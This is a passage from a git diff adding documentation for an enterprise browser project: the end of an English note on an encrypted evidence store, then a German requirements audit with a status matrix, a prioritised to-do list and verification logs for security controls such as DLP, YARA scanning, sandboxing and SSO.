plaintext fallback. + +`EVIDENCE_RETENTION_DAYS` defaults to 30 and must be 1–365. Expired evidence cannot be read unless its source event belongs to an open or investigating incident. Audit retention preserves evidence source events. Physical ciphertext deletion is not automated in this initial version: expiry limits access but does not claim storage erasure. Key rotation, HSM/KMS custody, cryptographic erasure, legal holds and tested backup/recovery remain production work. Replacing the key without retaining its old version makes old records unreadable; their key IDs are checked explicitly. + +## Scope and validation + +This implements the server storage and access boundary, not browser human-click capture, settings to enable collection, client delivery or an analyst UI. These must use signed central policy, keep password/authentication fields excluded, bind events to native browser context and label partial coverage. An enrolled device is an authenticated reporter, not proof its endpoint was uncompromised. + +`tests/evidence.test.mjs` uses real HTTP and SQLite to verify ciphertext storage, role denials, source ownership/type validation, password/token field and credential-URL rejection, replay rejection, missing-key behavior, authenticated metadata tamper rejection, audit-failure rollback, plaintext response suppression and retention correlation. + +The credential-content test additionally verifies that recognizable secrets in free text, labels, filenames and encoded paths return 400 without inserting any evidence rows, while confidential engineering text is accepted. diff --git a/docs/requirements-audit.md b/docs/requirements-audit.md new file mode 100644 index 0000000..7a37a2f --- /dev/null +++ b/docs/requirements-audit.md @@ -0,0 +1,144 @@ +# S Browser: Anforderungsabgleich und offene Arbeit + +Stand: 2026-10-13. Diese Prüfung vergleicht die Anforderungen aus dem Chat mit vorhandenem Quellcode und benannten Testfällen. Ein vorhandener Test ist ein begrenzter Nachweis für sein Szenario, kein Sicherheitszertifikat. Laufende Änderungen anderer Agenten müssen nach Integration erneut geprüft werden. + +## Ziel + +Windows zuerst: einen zentral verwalteten Browser mit lokaler Inhaltsprüfung, freigegebenem KI-Zugang und einer verständlichen, abgesicherten Admin-Weboberfläche liefern. Vor einer Produktionsfreigabe müssen die unten genannten Sicherheits- und Betriebsgrenzen geschlossen oder ausdrücklich im erlaubten Produktumfang ausgeschlossen sein. + +## Statusmatrix + +| Anforderung | Stand | Nachweis und verbleibende Grenze | +|---|---|---| +| Chromium/Electron, Windows-Build | Teilweise | `apps/browser/main.cjs`, `scripts/package.mjs`, `scripts/verify-package.mjs`; sandboxierter Electron-Browser und geprüftes unpacked Windows-Paket. Kein eigener Chromium-Fork mit umfassenden nativen DLP-Hooks; kein signierter Produktionsinstaller oder Updatekanal. | +| Safari-artige Oberfläche, Light/Dark, Themes, kompakte/getrennte Tabs | Umgesetzt für Browser-Chrome | `apps/browser/index.html`, `style.css`, `renderer.js`, `scripts/ui-showcase.cjs`, `artifacts/sbrowser-ui-layout.json`. Websiteinhalte werden nicht umgestaltet. Echte native Tabs mit eigener DOM-/Scroll-/History-/Security-State-Verwaltung sind jetzt integriert; Tabwechsel lädt nicht neu. Tatsächliche DLP-/Revocation-Prüfung in `artifacts/native-tabs-proof.json`. Gemeinsame Unternehmens-Cookies bleiben absichtlich geteilt. | +| White Label | Teilweise | Zentrale Marke/Farbe in `packages/core/policy.mjs`; Paketprodukt/App-ID in `scripts/package.mjs`. Eigene Icons, rechtliche Hinweise, signierte Kundendistribution und vollständige Asset-Themes fehlen. | +| Zentrale Verwaltung und erzwungene/verborgene Einstellungen | Umgesetzt für unterstützte Einstellungen | `packages/core/managed-settings.mjs`, `apps/browser/managed-settings.cjs`, `main.cjs`, `tests/managed-settings.test.mjs`, `scripts/managed-settings-smoke.mjs`. Native IPC prüft Berechtigungen; UI-Verstecken ist nicht die Autorität. Lokale Administratoren/OS-Manipulation bleiben außerhalb dieser Garantie. | +| Sichere Policy-Verteilung | Teilweise | `packages/core/policy-channel.cjs`, `apps/server/policy-channel.mjs`, `apps/browser/management-channel.cjs`, `tests/policy-channel.test.mjs`: ML-KEM-1024/AES-GCM und ML-DSA/Ed25519, Replay-/Versions-/Ablaufprüfung. HTTPS und unabhängiges initiales Pinning bleiben nötig. Kein HSM, Schlüsselrotation oder unabhängiges Kryptografieaudit; keine behauptete „doppelt quantensichere“ Zertifizierung. | +| SSO | Teilweise | `apps/server/auth.mjs`, `tests/server.test.mjs`: OIDC-PKCE, Signatur/Issuer/Audience/Nonce, Admin-Gruppen. Mock-IdP getestet; echter Kunden-IdP noch nicht integriert. Drei serverseitige Managementrollen (Admin, Operator, Auditor) aus OIDC-Gruppen in `apps/server/admin-access.mjs`; kein direktes SAML/SCIM. Remote-Shared-Bootstrap-Token wird verweigert; Bootstrap nur HTTP-Loopback. | +| Admin-Management-Oberfläche | Teilweise | `apps/server/public/index.html`, `admin.js`, `style.css`; funktionierende Enrollment-, Policy-, Integrations-, Teaching-, Bookmark- und Event-Formulare. `scripts/enterprise-admin-smoke.mjs`, `scripts/bookmarks-admin-smoke.mjs`. In dieser Iteration ergänzt: gruppierte Navigation, Fleet-/Auditfilter, Draft-/Änderungsprüfung, Dark/Light-Konsole, responsive Layouts und rollengerechte Aktionen. Tatsächliche Electron-DOM-/Screenshot-Proofs in `artifacts/enterprise-admin-proof.json` und `admin-console-*.png`. Gruppen-/Pilotverwaltung, effektive Vorschau, Versionsmeldungen und verpflichtende Zweitfreigabe sind inzwischen mit echten UI-Proofs ergänzt. Incident-Verwaltung mit Rollen, Verlauf, Zuständigkeit und Revisionsprüfung ist ergänzt und im echten UI geprüft. Einige Security-/Agentenfelder bleiben Advanced JSON; externe Tickets, automatische Fälle und vollständiger Daten-Lifecycle bleiben offen. | +| Fleet, Gruppen, Rollout | Teilweise | Gerätebestand, widerrufbare Credentials, globale signierte Policy, per-Gerät Dokument-/Bookmark-Steuerung und serverseitige Rollen vorhanden. `policy-history.mjs` liefert Historie/Diff/Restore als neue Version. `policy-review.mjs` erzwingt bei aktiviertem Deploymentflag unterschiedliche Autor-/Prüferidentität für alle Veröffentlichungswege, einschließlich Teaching und Gerätescan. Restriktive Gerätegruppen, explizite Pilot-Ausweitung und gerätgebundene effektive Policies sind inzwischen implementiert (`docs/group-policy-rollout.md`). Dynamische IdP-Gruppen, automatische Gesundheitsgates, prozentuale Rolloutringe und Mandantenisolation bleiben offen. | +| Admin-Bookmarks lesen/bearbeiten, Firmenlinks und erlaubte persönliche Links | Umgesetzt innerhalb des aktuellen Fleet-Modells | `packages/core/bookmarks.mjs`, `apps/server/bookmarks.mjs`, `apps/browser/bookmarks.cjs`, `tests/bookmarks.test.mjs`, `tests/bookmarks-native.test.mjs`, beide Bookmark-Smokes und Proof-Artefakte. Signierte Firmenlinks, per-Gerät persönliche Revisionen, native und Backend-Rechte. Kein geräteübergreifendes Benutzerroaming oder Gruppenzuweisung. | +| Eigener Proxy, VPN, DNS | Teilweise | `apps/browser/network-posture.cjs`, `packages/core/enterprise.mjs`, `tests/network-posture.test.mjs`, `scripts/enterprise-browser-smoke.mjs`: Windows-DNS, Corporate DoH, Proxy/PAC, VPN-Adapter/DNS-Prüfung. Adapterpräsenz ist keine kryptografische Tunnel-/Routenattestation; Erkennung hat Polling-Latenz. Reale Kundentopologien müssen getestet werden. | +| Live Domain/IP-/Inhaltsblockierung, YARA/Sigma | Teilweise | `packages/core/security.mjs`, `tests/security.test.mjs`, `tests/dns-alias.test.mjs`, `apps/inspector/engine.py`: Domain/IP-Regeln und echte lokale YARA. Sigma unterstützt nur genaue Event-Metadaten-Selektion, keine vollständige Sprache/Korrelation. OS-weit andere Anwendungen werden nicht kontrolliert. | +| ICAP zu eigener AV/Sandbox | Teilweise | `apps/browser/icap-client.cjs`, `enterprise-inspection.cjs`, `apps/server/inspection.mjs`, `tests/icap-client.test.mjs`, `tests/enterprise-gateway.test.mjs`: vollständige unveränderte Bodies, OPTIONS, ICAPS, fail closed. Kein verzögertes Detonations-/Polling-Protokoll, Vendor-REST oder sichere Freigabe adaptierter Inhalte. | +| Downloads mit zentraler YARA vor OS-Dateischreiben | Umgesetzt für unterstützte GET-Downloads | `apps/browser/main.cjs`, `inspection.cjs`, `tests/download-gate.test.mjs`, `scripts/smoke.mjs`: native Downloads gestoppt, bounded Memory-Scan, SHA-Bindung vor Save-Dialog/Schreiben. POST-/Blob-/andere Downloads nicht unterstützt und blockiert. Ein YARA-Allow ersetzt keine DLP-Klassifikation. | +| Vollständige Upload-/Text-DLP | Teilweise, wichtige Grenze | `main.cjs`, `packages/core/policy.mjs`, `tests/policy.test.mjs`: unterstützte immutable HTTP-Body-/URL-Pfade geprüft. Dateibasierte/Data-Pipe-Uploads blockiert statt race-anfälliger Freigabe. WebSocket-Nachrichten bei Freigabe, WebRTC, Streaming und codierte/covert Exfiltration nicht vollständig geprüft. Native Chromium-Enforcement-Arbeit erforderlich. | +| Copy/Paste/Cut und ClickFix | Teilweise | `packages/core/clipboard.mjs`, `apps/browser/page-clipboard-guard.cjs`, `site-preload.cjs`, `tests/clipboard.test.mjs`, `tests/page-clipboard-guard.test.mjs`, `scripts/smoke.mjs`: echte Tastatur-/Kontextmenü-Pfade, Policy-/Ziel-/Selektionsbindung; Seiten-Clipboard/Legacy-Pfade geschützt. Richtext, Dateien, contenteditable und Subframe-Transfers blockiert. ClickFix-Regeln erfassen ausgewählte gefährliche Ausführungsketten, nicht sämtlichen Schadcode von GitHub. Kein OS-weiter Clipboard-/Print-/Screenshot-Schutz. | +| Lokales OCR und Parsing ohne Cloud | Teilweise, Windows-Isolation implementiert | `apps/inspector/engine.py`, `requirements.lock.txt`, `CAPABILITIES.md`: gepinnte RapidOCR/ONNX-Modelle, begrenzte Parser, kein Modellnachladen. Der Broker importiert keine Parser; pro Anfrage führt `windows_appcontainer.py` einen attestierten Worker mit null Fähigkeiten, privaten Pipes und freigegebenen Runtime-Leserechten aus. Job-Limits und Nachfahrenbeendigung bleiben aktiv. Zwölf native Isolationstests sowie echtes YARA/OCR/Gemma im Broker bestanden (`artifacts/windows-appcontainer-proof.json`). PDF/OOXML-/Mediencoverage bleibt unvollständig. Installer-ACLs für Program Files und unabhängige Sandbox-Bypass-Prüfung fehlen weiterhin. | +| Echtes semantisches GemmaEmbed2 | Umgesetzt als lokaler Klassifikationsbaustein | `apps/inspector/semantic.py`, `test_semantic_real.py`, `packages/core/semantic.mjs`, `scripts/provision-semantic-runtime.py`, `scripts/semantic-browser-smoke.mjs`, `artifacts/semantic-browser-proof.json`: reale gepinnte EmbeddingGemma-2 Q8_0-Gewichte, CPU, 768 Dimensionen, vollständige Tokenfenster. Kundenspezifische Schwellen, Accuracy-/False-Negative-Evaluation und Driftkontrolle fehlen. Das ist kein Fine-Tuning. | +| Bilder, Medien, Video | Teilweise | Lokales OCR und native Bildembeddings; begrenztes mono16kHz PCM16-WAV-Embedding in `semantic.py`/Realtests. Keine vollständige Audio-Transkription, Video-Frame-/Audiocoverage. Ein Medienvektor allein erlaubt keine unvollständig geprüfte Datei. | +| Internes Dokument „anlernen“, keine vollständige Speicherung | Umgesetzt für Features und konfigurierbare Zweitfreigabe | SHA-/Fragmenthashes und begrenzte semantische Vektoren, keine dauerhafte Quelldokument-/Plaintextspeicherung. Deploymentflag erzwingt unabhängigen Administrator für Veröffentlichung; Reviewer sieht Abdeckung/Modus und unveränderlichen Vorschlag. Hashes/Vektoren sind sensible Metadaten. Held-out Evaluation und automatisches Fine-Tuning fehlen. Forensisches Löschen von Prozess-/Paging-Speicher ist nicht garantiert. | +| Dokument-Scan je Browser aktivierbar | Umgesetzt | `app.mjs`, `main.cjs`, Fleet-UI; per-Gerät supplemental Scan. Pflicht-DLP/YARA bleibt davon unabhängig. Nachweise in Server- und Native-Smoke. | +| KI als First Class, kontrolliertes Gateway | Teilweise | `apps/server/app.mjs`, `inspection.mjs`, Browser-AI-UI, `tests/enterprise-gateway.test.mjs`: freigegebene lokale Ollama/kompatible Provider, serverseitige Credentials, Prompt-/Outputprüfung. Kein vollständiges Berechtigungs-RAG, Modellinventar, Provider-Tenantnachweis oder umfassendes KI-Tool-Autorisierungsmodell. | +| Lokale Agenten steuern Sessions | Umgesetzt für begrenzte API | `apps/browser/agent-control.cjs`, `tests/agent-control.test.mjs`, `tests/agent-adapters.test.mjs`, `scripts/agent-client.cjs`: Loopback, Capability-Pairing, Scopes und feste Aktionen. Kein freies JS/CDP, Passwort-/Cookieexport. Stabile native Tab-UUIDs, Kontextbindung sowie explizite App-/Einstellungs-/Bookmark-/Tab-Rechte sind ergänzt und mit echtem CLI geprüft. Freigaben bleiben zentral begrenzt. Vollständige UI-Steuerung, sichere Screenshots und delegierte kryptografische Agent-Identitäten bleiben offen. | +| Passwortmanager mit Post-Quantum-Kryptografie | Teilweise | `apps/browser/vault.cjs`, `password-fill.cjs`, `tests/vault.test.mjs`, `tests/password-fill.test.mjs`: ML-KEM-1024/AES-GCM/scrypt und Windows-DPAPI, Idle-/Blur-Lock, gebundene HTTPS-Formfüllung. Kein Sync/Recovery/Passkeys, keine unabhängige Kryptografieprüfung oder FIPS-Modulvalidierung. | +| UI+pHash+korrekte Login-URL gegen unbekannte Domains | Teilweise | `packages/core/visual-hash.cjs`, `visual-image.cjs`, `apps/browser/visual-phishing.cjs`, `visual-capture.cjs`, `tests/visual-*.test.mjs`, Native-Smoke: echte Pixel, DCT-pHash, exakte erlaubte HTTPS-Origins, Quarantäne/Audit. Admin muss vertrauenswürdige Referenzen liefern; keine voreingestellte Google-Bibliothek. Kein Pre-Render-Block; Layout-/Sprache-/Iframe-/Evasion-Abdeckung und Fehlalarmrate nicht ausreichend evaluiert. | +| OpenTelemetry und SIEM-Standardexport | Teilweise | `apps/server/telemetry.mjs`, `siem.mjs`, `packages/core/siem.mjs`, `tests/telemetry.test.mjs`, `tests/siem.test.mjs`: OTLP Signals, dauerhafte Audit-/Dedup-Pfade, ECS/CEF-Cursor und HTTPS/mTLS-Push. Keine Dokument-/Promptinhalte in regulären Events. Incident-Triage und standardmäßig deaktivierte Datenbank-Aufbewahrung implementiert. Incident-Belege und ausstehende SIEM-Exporte bleiben erhalten. Zentral signierte Browser-OTLP-Traces/Logs mit Laufzeiten und Trace-/Span-Korrelation sind jetzt integriert und mit realem Electron/Collector geprüft. Separater verschlüsselter Belegspeicher serverseitig vorhanden; Browser-Erfassung/Analystenansicht, detaillierte Python-Phasen, automatische Fälle, externe SIEM-/Datei-/Backup-Aufbewahrung und reale Kunden-SIEM-Tests bleiben offen. | +| Cross Platform und Mobile | Bewusst später | Benutzer hat Windows priorisiert. macOS/Linux/Mobile sind keine jetzt fertigen Produkte, auch wenn Paketkonfiguration Zielnamen enthält. | + +## Priorisierte To-do-Liste und Abnahmekriterien + +### P0: aktuell sichere Bedienung und überprüfbare Verwaltung + +- [x] Admin-Weboberfläche in klare Arbeitsbereiche aufteilen: Übersicht, Fleet, Policies, DLP/Teaching, KI, Infrastruktur, Bibliothek, Ereignisse. Aktive Navigation, Suche/Filter, leere/Fehler-/Ladezustände und verständliche Entwurf-/Veröffentlichungszustände. Abnahme: echte DOM-/Screenshot-Tests durchlaufen Template, Änderung, Veröffentlichung und Geräteaktion; Backend-Rechte bleiben unabhängig von UI. +- [x] Admin-Authentifizierung und Workflow serverseitig überprüfen: Session-Lifecycle, Schreibschutz gegen fremde Origins, sichere Header und minimaler Bootstrapbetrieb. Abnahme: nicht authentifizierte/fremde/abgelaufene Requests scheitern; erlaubte SSO-Session arbeitet über denselben kontrollierten API-Pfad. +- [x] Produktionsgrenzen in Konsole/README sichtbar machen. Abnahme: kein „gesund/sicher“-Status nur wegen gespeicherter Konfiguration; aktueller Device-/Scanner-/Policy-Nachweis und tatsächliche Bereitschaft werden unterschieden. +- [x] Windows-Parser-Isolation als AppContainer mit echten Token-, privaten Datei-/Runtime-Schreib-, TCP-/UDP-, Kindprozess-, Deadline- und Pipe-Grenztests implementiert. Broker/Worker getrennt, keine Parser im Broker; zwölf native Tests und echte lokale YARA/OCR/Gemma-Operationen bestanden. Freigegebene Systemressourcen und Windows-Paketprivatspeicher bleiben nutzbar. Das schließt keine unbekannten Sandbox-Exploits aus. +- [x] Separates Installer-/Service-Provisionierungstool und native lesende Prüfung vorhandener Package-SID-ACLs implementiert. Normaler Scannerstart ändert keine Rechte; fehlende/writable/konfliktierende ACLs scheitern. Paketierung provisioniert erst nach vollständigem Kopieren. Native Tests prüfen echten Workerstart bei verbotenem Provisionierungs-Unterprozess. +- [ ] Geschützte Program-Files-Installation unter einem separaten Standardbenutzer sowie unabhängiger Sandbox-Bypass-Test. Ein eigener Entwickleraccount-Nachweis ersetzt diese Produktionsabnahme nicht. + +### P1: Unternehmensbetrieb und Umfang erweitern + +- [x] Verbindliche unabhängige Policy-Freigabe über Deploymentflag, dauerhafte unveränderliche Entwürfe, Hash/Diff/Basisversion und unterschiedliche Administrator-Identität implementiert. Alle Veröffentlichungswege einschließlich Teaching, Blocklisten, Gerätescan und Wiederherstellung durchlaufen denselben Publisher. Eigenfreigabe, falscher Hash, veraltete Versionen und doppelte Freigabe scheitern; echte Admin-/Operator-UI-Prüfung bestanden. +- [x] Restriktive Gerätegruppen mit expliziter Mitgliedschaft, deterministischen Konfliktregeln, gruppenspezifischen Firmenbookmarks und signierter gerätgebundener effektiver Policy implementiert. Baseline bleibt zwingend; Browser, AI-Gateway und Bookmark-APIs prüfen die effektive Policy. Dynamische SSO-/SCIM-Gruppenzuweisung bleibt offen. +- [x] Unveränderliche Policy-Historie, Versionsvergleich und explizit geprüfte Wiederherstellung als neue Version implementiert. CAS, aktuelle Schema-/Bookmark-Prüfung, frisches Ablaufdatum und Backend-Rollen gelten; sechs Backendtests und echter Admin-UI-Workflow bestanden. +- [x] Expliziter Pilot-/Expanded-/All-Members-Rollout mit zentraler Vorschau, versionsgebundener Zweitfreigabe und gemeldeten Geräteversionen implementiert. Gruppenstände werden historisiert und als neue Generation wiederhergestellt. Gemeldete Versionsgleichheit ist keine Gesundheitsattestation. +- [ ] Automatische Rollout-Freigabe-/Stop-Regeln, prozentuale Ringe und dynamische IdP-/SCIM-Mitgliedschaft. +- [ ] Sichere immutable Freigabe von Dateiuploads und vollständige unterstützte Netzwerkkanäle im nativen Browser. Abnahme: kontrollierter Receiver erhält niemals nach dem Scan ausgetauschte Bytes; Frames/Worker/WebSockets/Streams sind explizit abgedeckt oder gesperrt. +- [ ] Vollständige Dokument-Render-/Attachmentprüfung, Audio-Transkription und Video-Frames im isolierten lokalen Worker. Abnahme: bekannte Secrets in jeder unterstützten Modalität und im Dateiende werden erkannt; unvollständige Coverage kann nicht freigegeben werden. +- [ ] Semantische Teaching-Evaluation mit erlaubten/verbotenen/adversarial Beispielen, Schwellen und Review. Abnahme: messbarer Kunden-Testdatensatz, kein automatisches Abschwächen durch Benutzerfeedback, Policy-/Modellrevision pro Entscheidung. +- [x] Echte native Tabs mit unabhängigen Inhalten/Historien, gepinnten Agent-Kontexten und Aktivierungsepochen integriert. Native Tests zeigen DOM-/Scroll-Erhalt, keine Reloads, DLP in beiden Tabs, Schließen und zentralen Widerruf aller Views. +- [ ] Unerwartete WebContents-Crashes, atomare Renderer-Aktionsfreigaben über den Dispatch-Zeitpunkt und weitergehende Native-Race-Proofs härten. Sichtbarkeits-/Fokusprüfung bei Passwortfüllung mit echten Views bestanden. +- [x] Incident-Administration mit Ereignisreferenz, Rollen, revisionsgebundener Triage, unveränderlichem Verlauf und reinen Metadaten-Audits implementiert; tatsächliche UI-/HTTP-Prüfung bestanden. +- [x] Opt-in Datenbank-Ereignisaufbewahrung mit aktuellem SIEM-Cursor, Incident-/Sigma-Referenzschutz und erhaltener Replay-Deduplication implementiert; atomarer Fehler-Rollback und echter abgeschlossener Incident geprüft. +- [ ] Vollständiger Daten-Lifecycle: Fall-/Notizablauf, Exportdateien, SIEM, Dedup-Ledger, Backups und sichere Wiederherstellung; Benutzer-/Geräte-Lifecycle und automatische Fallbildung. + +### P2: Produktionsfreigabe mit externen Voraussetzungen + +- [ ] Reale OIDC-, VPN-/Proxy-/DNS-, ICAP-/AV- und SIEM-Kundenumgebungen testen. Keine synthetische Fixture als Kundennachweis verwenden. +- [ ] Windows-Code-Signing, signierte Installer und verifizierter Updater mit Release-Ringen und Recovery. Zertifikat/Signierservice und Betrieb müssen bereitgestellt werden. +- [ ] Schlüsselcustody/Rotation und optional HSM; unabhängige Prüfung von Policykanal und Vault; keine Zertifikatsbehauptung ohne Prüfung. +- [x] Implementierungs-Threat-Model mit Vertrauensgrenzen, Angriffsfällen und konkreten Abnahmekriterien in `docs/threat-model.md` erstellt. +- [ ] Unabhängiges Penetrations-/Bypass-/Tenant-Isolation-Testprogramm, Chromium-Update-SLA und Incident-Reaktion. +- [ ] Modell-/OCR-/Drittsoftware-Lizenzen und vollständige Notices vor Distribution prüfen. +- [ ] Nach Windows-Abnahme: Plattformdesign für macOS/Linux, später Mobile; native Schutzgrenzen pro OS neu nachweisen. + +## Admin-Architekturentscheidung + +Eine getrennte Weboberfläche ist die vorhandene und sinnvolle Verwaltungsarchitektur: Kunden betreiben sie hinter HTTPS und Enterprise-SSO. Adminrechte entstehen ausschließlich im Management-Backend, nicht aus dem Browser-Client oder ausgeblendeten UI-Elementen. Ein zusätzlicher nativer Admin-Browser würde die fehlenden Rollen-, Transport-, Session- oder Auditkontrollen nicht ersetzen. Der Verwaltungszugang sollte kundenseitig auf berechtigte Benutzer/Netze beschränkt werden; Konfiguration allein ist keine Produktionsabnahme. + +## In dieser Iteration umgesetzt + +- Admin/Operator/Auditor-RBAC in `apps/server/admin-access.mjs`, `auth.mjs` und `app.mjs`: explizite Route-Permissions, neu berechnete Sessionrechte und default-deny für unbekannte Adminrouten. Operatoren können Geräte betreuen und Teaching-Entwürfe erstellen, aber keine signierte Policy veröffentlichen. Auditoren lesen ohne Schreibrechte. Nachweise: `tests/server.test.mjs`. +- Remote Shared-Token-Anmeldung abgeschaltet; lokale HTTP-Loopback-Entwicklung behält Bootstrap. Enterprise-SSO bleibt für echte Deployments erforderlich. +- Sessionübersicht und sofortige Sessionwiderruf-API im aktuellen Code; IDs sind opake UUID-Handles, keine Cookies/Tokenhashes. Nur Admin darf inventarisieren/widerrufen. Origin-geschütztes Logout. Neue Servertests enthalten Rechte, Token-Nichtoffenlegung und sofortige Ablehnung widerrufener Cookies; endgültiger Gesamtlauf wird vom Root berichtet. +- Admin-Konsole mit Navigation, Suchfiltern, Änderungenprüfung und eigenem Theme; tatsächlicher Electron-Proof bestätigt Review ohne Veröffentlichung, Filter, Theme-Persistenz, mobile Breite und Read-only-Controls. +- Windows Inspector-Job-Containment mit echtem Prozessbaum-/Owner-Exit-Nachweis. Dies verbessert Ressourcenbegrenzung, ist aber ausdrücklich keine Parser-Sicherheits-Sandbox. + +## Verifikation + +### Aktueller Integrationsstand: Windows-Isolation, Historie und Zweitfreigabe + +- `npm test`: 196 bestanden, keine Fehler (`artifacts/governance-unit-tests.log`). +- Python: 47 insgesamt, 43 ausgeführt und bestanden, vier optionale Modelldateitests im Routinelauf übersprungen (`artifacts/governance-python-tests.log`). +- Zwölf echte Windows-Isolationstests plus tatsächliches YARA, RapidOCR und Gemma im isolierten Broker bestanden (`artifacts/windows-appcontainer-proof.json`). Beinhaltet verweigerten Broker-Speicherzugriff und normalen Start ohne ACL-Provisionierungsprozess. +- Vollständiger nativer Browser-Smoke nach isolierter YARA-Integration bestanden (`artifacts/governance-native-smoke.log`). +- Tatsächlicher semantischer Browser-Clipboard-Test bestanden (`artifacts/isolation-history-semantic-browser.log`), einschließlich erlaubtem öffentlichen Text und blockierter Paraphrase. +- Tatsächliche Admin-Historien-/Wiederherstellungs- und unabhängige Freigabe-Workflows bestanden; einschließlich Geräteaktion vor/nach Freigabe, Operator-Beschränkung und verweigerter Eigenfreigabe (`artifacts/policy-history-admin-proof.json`, `artifacts/independent-review-admin-proof.json`). +- JavaScript-Syntax geprüft. Windows-Paket neu erstellt, spezifische Runtime-ACLs nach dem Kopieren provisioniert und finale Paketprüfung bestanden (`artifacts/governance-package-verification.log`): aktuelle Sicherheitsmodule, echter isolierter Kaltstart ohne neue Bytecode-Dateien, lokale CPU-Inferenz, DPAPI und nativer Agent-Helper. Hauptprogramm weiterhin `NotSigned`. + +Die erste isolierte YARA-Integration scheiterte an geschützten DLL-Dateirechten. Explizite vorhandene Datei-ACLs und ein echter YARA-Upload-/Download-Test schließen diese konkrete Lücke. Beim Clipboard-Test wurde eine dynamisch eingefügte Testauswahl korrekt abgelehnt, wenn ihre noch laufende visuelle Revision den Kontext änderte; der Harness wartet jetzt auf Dokument-/Visual-Prüfung, ohne Produktionskontrollen abzuschwächen. Normale Laufzeitprovisionierung wurde inzwischen durch rein lesende ACL-Prüfung ersetzt. Ein geschützter Standardbenutzer-Installer und unabhängige Sicherheitsbewertung bleiben offen. + +Vor Integration existieren die Unit-/Native-Testdateien und Proof-Artefakte oben. Diese Audit-Arbeit hat selbst keine neue Gesamttestsuite ausgeführt; die oben genannten neuen Nachweise stammen aus tatsächlichen Agentenprüfungen oder werden als noch zu integrierender Gesamtlauf bezeichnet. Der orchestrierende Agent muss geänderte Features mit passenden Tests, tatsächlicher Admin-DOM-/Screenshot-Prüfung und Windows-Paketvergleich verifizieren und die endgültigen Ergebnisse separat berichten. + +### Integrationsprüfung durch Root, 2026-10-13 + +- `npm test`: 183 bestanden, keine Fehler (`artifacts/audit-unit-tests.log`). +- Python-Tests: 34 insgesamt, 30 ausgeführt und bestanden, 4 optionale echte Modelltests in diesem Routinelauf übersprungen (`artifacts/inspector-audit-tests.log`). Enthält zwei echte Windows-Prozessbaum-/Breakaway-Tests. +- `npm run check` und Syntaxprüfung des korrigierten Semantic-Testharness: bestanden. +- Vollständiger nativer Browser-Smoke: bestanden (`artifacts/audit-native-smoke.log`), einschließlich Clipboard, Frame-Bypass, YARA vor Save, pHash, Teaching und Revocation. +- Separater realer Gemma-Browser-Test: bestanden (`artifacts/audit-semantic-smoke-retry.log`); paraphrasierter vertraulicher Inhalt blockiert (0,843945), öffentlicher Text zugelassen (0,509778), keine Rohtexte im zentralen Audit. +- Tatsächliche Admin-Electron-UI-Prüfung: bestanden; Nachweis `artifacts/enterprise-admin-proof.json`, Light/Dark/Mobile-Screenshots und Bookmark-UI-Smoke. +- Windows-Paket neu erstellt und geprüft: aktueller Sicherheitsquellstand, wirklich gestarteter Job-begrenzter Paket-Inspector, lokale CPU-Modellinferenz, DPAPI und nativer Agent-Helper (`artifacts/audit-package-verification.log`). Authenticode-Status des Hauptprogramms weiterhin `NotSigned`. + +Ein korrigierter erster Scanner-Smoke deckte den isolierten Python-Importpfad auf: Sibling-Module werden jetzt vom tatsächlichen Service-Verzeichnis geladen. Der erste separate semantische UI-Test scheiterte beim Sichern einer leeren Zwischenablage; der Harness behandelt leere MIME-Listen und synchrone Cleanup-Aufrufe jetzt korrekt. Beide gezielten Wiederholungen bestanden. Produktionsgates oben bleiben ausdrücklich offen; diese Ergebnisse gelten für die ausgeführten Szenarien. + +### Gruppen-Integration, 2026-10-13 + +- 203 JavaScript-Tests bestanden (`artifacts/groups-unit-tests.log`); vollständiger nativer Browser-Smoke bestanden (`artifacts/groups-native-smoke.log`). +- Echter Admin-Gruppenworkflow mit Pilot, Vorschau und ausdrücklicher Ausweitung bestanden (`artifacts/groups-admin-proof.json`). +- Native Upload-Probe zeigt unveränderte Bytes nach Dateiänderung, aber unsichere Cookie-Erweiterung beim Electron-Protocol-Forwarding. Deshalb keine Produktionsfreigabe dieses Ansatzes; Details in `docs/immutable-upload-feasibility.md`. + +- Verpflichtende Gruppen-Zweitfreigabe im echten Operator-/Admin-UI-Workflow bestanden: Vorschlag unveröffentlicht, Mitglieder/Kohorte/Regeln sichtbar, unterschiedliche Identität veröffentlicht (`artifacts/groups-review-admin-proof.json`). + +- Neuer Windows-Build mit Gruppenpolicy-Empfangsbindung erstellt; finale Paketprüfung einschließlich aktuellem Quellvergleich, isoliertem Scanner, lokalem Gemma, Agent-Helper und DPAPI bestanden (`artifacts/groups-package-verification.log`). Authenticode weiterhin `NotSigned`. + +### Incident-Integration, 2026-10-13 + +- 220 JavaScript-Tests bestanden (`artifacts/incidents-unit-tests.log`), Syntaxprüfung bestanden. Zehn gezielte Incident-/Retention-Tests zeigen Rollen, CAS, atomaren Rollback und Belegschutz. +- Echter Incident-Admin-Workflow inklusive Auditor-403, erhaltener Konflikteingaben und literal dargestellter HTML-Notiz bestanden (`artifacts/incident-admin-proof.json`). Gruppen- und Historien-UI nach Integration erneut bestanden. +- Lokaler Managementdienst auf Port 4310 mit aktuellem Backend neu gestartet. Datenbank-Aufbewahrung standardmäßig aus; Details in `docs/audit-retention.md` und `docs/incident-management.md`. +- Native Tab-Registry mit sieben Lifecycle-/Kontexttests vorbereitet (`docs/native-tabs-integration.md`), aber noch nicht in Hauptprozess, Renderer, Clipboard und Agenten integriert. Echte Tabs bleiben offen. + +### Native Tabs, First-Class-Agenten und Observability, 2026-10-13 + +- 253 JavaScript-Tests bestanden (`artifacts/first-class-agent-unit-tests.log`). Vollständiger nativer Browser-Smoke inklusive echter Agent-App-/Settings-/Bookmark-/Tab-Aktionen bestanden (`artifacts/first-class-agent-native.log`, `artifacts/smoke-entry.txt`). +- Echte Tab- und OTLP-Collector-Proofs bestanden (`artifacts/native-tabs-proof.json`, `artifacts/native-tabs-receiver-proof.json`, `artifacts/native-browser-diagnostics-proof.json`). Parent/Child, Laufzeiten, korrelierte Logs und Deaktivierung nach Widerruf geprüft. +- Zentrale Diagnostik-Felder und neue Agent-Berechtigungen im echten Admin-UI veröffentlicht und Auditor-Schreibschutz geprüft (`artifacts/enterprise-admin-proof.json`). +- Verschlüsselter forensischer Server-Belegspeicher mit Deployment-Key, authentisierten Ereignisreferenzen, auditierter Entschlüsselung, Ablauf/Incident-Hold und neun HTTP-Tests implementiert (`docs/protected-evidence.md`). Nicht automatisch aktiviert: Browser-Erfassung, zentrale Sammelregeln und Analystenansicht fehlen. +- [ ] Vollständige forensische Browser-Erfassung: Downloadname/Quelle/Hash, menschliche Klickziele und Clipboard-/Form-Abläufe; relevante vertrauliche Inhalte 